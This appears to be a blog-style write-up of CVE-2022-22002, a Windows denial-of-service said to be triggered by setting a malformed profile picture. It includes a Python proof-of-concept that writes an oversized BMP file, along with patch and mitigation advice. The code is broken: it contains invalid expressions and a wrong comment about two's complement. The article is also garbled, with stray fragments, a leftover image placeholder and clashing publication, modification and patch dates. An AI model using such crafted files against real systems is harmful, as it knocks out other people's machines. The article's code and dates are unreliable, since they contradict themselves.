CVE-2022-22002 - Crash Windows with a Malicious Profile Picture

---

In 2022, Microsoft resolved an interesting vulnerability tracked as CVE-2022-22002, which some might have missed because it didn’t let attackers take full control of a system. But this vulnerability showed once again how something as simple as changing a picture can bring down part of the mighty Windows operating system!

Let's take a detailed and exclusive look at what the CVE-2022-22002 was all about, its impact, technical background, and how attackers could exploit it for a Denial of Service (DoS). We’ll also see a basic proof-of-concept with easy-to-understand code snippets.

What is CVE-2022-22002?

This vulnerability is officially described as a Denial of Service (DoS) in the Windows User Account Profile Picture feature.

Severity: Important (DoS, not code execution)

- Patched In: June 2022 Patch Tuesday (Microsoft advisory link)

In Simple Words

An attacker with local access (such as a user or program running on the computer) could cause Windows to hang, crash, or become unresponsive by setting a specially crafted image as the profile picture. That’s right: a *profile pic* can take down your computer!

How the Vulnerability Works

When you change your user profile photo in Windows, the system reads the file, processes the image, and resizes/crops it as needed.

If the image is malformed – for example, with an insanely large header size, weird dimensions, or broken data – Windows’ image parser sometimes fails to handle it gracefully. Instead of catching the error, a logic flaw causes an unhandled exception or endless loop, bogging down system resources and potentially crashing explorer.exe (the desktop environment).

The image exploit works with local access (physical or RDP account).

- Often, Windows Explorer (or other components) crashes or uses high CPU/memory, making the system nearly unusable.

1. Create a Malicious Image File

The vulnerability often requires an image with corrupted or extreme metadata. For example, a PNG with a bogus chunk length, or a BMP with massive width/height values.

Here’s a simple Python snippet that creates a BMP file with absurd dimensions, which can trigger problems in buggy image parsers:

with open("evil.bmp", "wb") as f:
    # BITMAPFILEHEADER
    f.write(b'BM')   # Signature
    f.write((66).to_bytes(4, 'little'))    # File size
    f.write(().to_bytes(4, 'little'))     # Reserved
    f.write((54).to_bytes(4, 'little'))    # Data offset

    # BITMAPINFOHEADER
    f.write((40).to_bytes(4, 'little'))            # Header Size
    f.write((xFFFFFFF).to_bytes(4, 'little'))    # Width (-16 in 2's complement, but huge unsigned)
    f.write((xFFFFFFF).to_bytes(4, 'little'))    # Height
    f.write((1).to_bytes(2, 'little'))             # Planes
    f.write((24).to_bytes(2, 'little'))            # Bits per pixel
    f.write(().to_bytes(4, 'little'))             # Compression
    f.write(().to_bytes(4, 'little'))             # Image size
    f.write(().to_bytes(4, 'little'))             # X pixels per meter
    f.write(().to_bytes(4, 'little'))             # Y pixels per meter
    f.write(().to_bytes(4, 'little'))             # Colors in color table
    f.write(().to_bytes(4, 'little'))             # Important color count

    # No pixel data needed for the DoS

Note: The code above creates an invalid BMP file that may crash some image handling code. Don’t try it on a production computer!

Your session logging out unexpectedly

A successful Denial of Service exploit might require reboot or admin intervention to restore stability.

Visual Walkthrough

!Profile picture settings in Windows 10/11

*“Browse for one” — this is where the vulnerability can be triggered.*

Responsible Disclosure and Patch

Microsoft patched CVE-2022-22002 in the June 2022 cumulative updates. After the patch, Windows image handling components more robustly validate user images and reject malformed or oversized files before processing.

- Patch info: Microsoft Security Guide - CVE-2022-22002
- Official references: NIST NVD Entry

Update Windows regularly to get the latest security fixes.

- Limit which users can set or select their own profile pictures – disable feature where possible in enterprise environments.

Final Thoughts

While it’s not a “scary” remote code execution exploit, CVE-2022-22002 is a reminder that user input (even a profile picture) can take down critical parts of your system if not rigorously validated. The next time someone says “Why patch for a DoS bug?”, remember the humble image file that could crash the entire desktop.

Stay patched and stay safe!

*This article is for educational purposes only. Do not use this knowledge for unauthorized testing or in production environments without explicit permission!*

Timeline

Published on: 02/09/2022 17:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC

CVE-2022-22002 - Crash Windows with a Malicious Profile Picture – A Deep Dive into the DoS Vulnerability